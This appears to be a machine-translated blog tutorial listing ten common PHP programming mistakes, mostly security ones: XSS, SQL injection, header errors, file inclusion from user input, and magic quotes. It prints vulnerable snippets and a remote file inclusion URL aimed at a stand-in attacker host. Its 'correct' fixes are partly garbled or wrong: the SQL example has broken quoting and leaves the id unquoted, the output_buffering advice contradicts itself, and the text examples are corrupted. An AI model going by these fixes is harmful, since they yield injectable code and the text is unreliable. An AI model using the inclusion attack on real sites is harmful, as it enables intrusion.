PHP is a great web development language and a flexible language, but we see some mistakes that PHP programmers make over and over again. I made the following list of 10 common mistakes made by PHP programmers, most of which are related to security. See what kind of mistakes you have made:
1. Don’t ignore html entities
A basic common sense: all untrusted input (especially data submitted by users from forms) must be changed before output.
echo $_GET['usename'] ;
This example may output:
<script>/*Script to change admin password or set cookie*/</script>
This is an obvious security risk unless you ensure that your users are typing correctly.
How to fix:
We need to convert "< ", ">", "and", etc. into correct HTML representation (<, >', and "). The functions htmlspecialchars and htmlentities() do exactly this.
The correct method: echo htmlspecialchars ($_GET['username'], ENT_QUOTES);
2. Do not ignore SQL input. I once discussed this issue in an article The Simplest Way to Prevent SQL Injection (php+mysql) and gave a simple method. Someone said to me that they already have magic_quotes set to On in php.ini so they don't have to worry about this, but not all input is coming from $_GET, $_POST or $_COOKIE.
How to fix it
!:
As in the simplest way to prevent sql injection (php+mysql), I still recommend
the correct way to use the mysql_real_escape_string() function:
<?php
$sql = “UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. Wrong use of HTTP-header related functions: header(), session_start(), setcookie()
Have you ever encountered this warning?" warning: Cannot addheader information - headers already sent [....]
Every time a web page is downloaded from the server, the server's output is divided into two parts: headers and body.
The header contains some non-visual data, such as cookies. The head always arrives first. The text part includes visual html, pictures and other data.
If output_buffering is set to Off, all HTTP-header related functions must be called before there is output. The problem is that when you develop in one environment and deploy to another environment, the output_buffering settings may be different. As a result, the redirection stopped, and the cookie and session were not set correctly...
How to fix:
Make sure to call http-header related functions before outputting, and set output_buffering = Off
.
4. Require or include files use unsafe data. Again: do not trust data that is not explicitly declared by yourself. Do not include or require files obtained from $_GET, $_POST or $_COOKIE.
For example:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
Any hacker can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt
to obtain your confidential information, or execute a PHP script.
If allow_url_fopen=On, you are dead:
Try this input:
http://www.yourdomain.com/index . … n.com%2Fphphack.php
Now your web page contains the output of http://www.youaredoomed.com/phphack.php . Hackers can send spam, change Passwords, deleted files, etc. Anything you can imagine.
How to fix:
You must control which files can be included in the include or require directives.
Here's a quick but not comprehensive workaround:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>
5. Grammatical Errors Grammatical errors include all lexical and grammatical errors that are so common that I have to list them here. The solution is to study the syntax of PHP carefully and be careful not to miss a bracket, brace, semicolon, or quotation mark. Also, find a good editor and don’t use Notepad!
6. Few or no object-oriented projects are used. Many projects do not use PHP's object-oriented technology. As a result, code maintenance becomes very time-consuming and labor-intensive. PHP supports more and more object-oriented technologies and is getting better and better. There is no reason why we should not use object-oriented technologies.
7. Not using framework
95% of PHP projects are doing the same four things: Create, edit, list and delete. Now there are many MVC frameworks to help us complete these four things, why don't we use them?
8. Not aware of the functionality already available in PHP
The core of PHP contains many functions. Many programmers reinvent the wheel over and over again. A lot of time wasted. Before coding, search for PHP mamual and search on google. You may find new discoveries! exec() in PHP is a powerful function that can execute cmd shell and return the last line of the execution result in the form of a string. For security reasons, you can use EscapeShellCmd()
9. Use an older version of PHP
Many programmers are still using PHP4. Development on PHP4 cannot give full play to the potential of PHP, and there are still some security risks. Switch to PHP5, it doesn't take a lot of effort. Most PHP4 programs can be migrated to PHP5 with few or even no changes to the statements. According to a survey by http://www.nexen.net, only 12% of PHP servers use PHP5, so 88% of PHP developers are still using PHP4.
10. Change the quotation marks twice. ' or appear in the web page '"? This is usually because magic_quotes is set to off in the developer's environment, but magic_quotes=on on the deployed server. PHP will repeatedly run addslashes() on the data in GET, POST and COOKIE.
Original text:
It's a string
magic quotes on:
It'sa string
Run again
addslashes():
It\'sa string
HTML output:
It'sa string
Another situation is that the user inputs wrong login information at the beginning. After the server detects the wrong input, it outputs the same form and requires the user to input again, causing the user's input to change twice!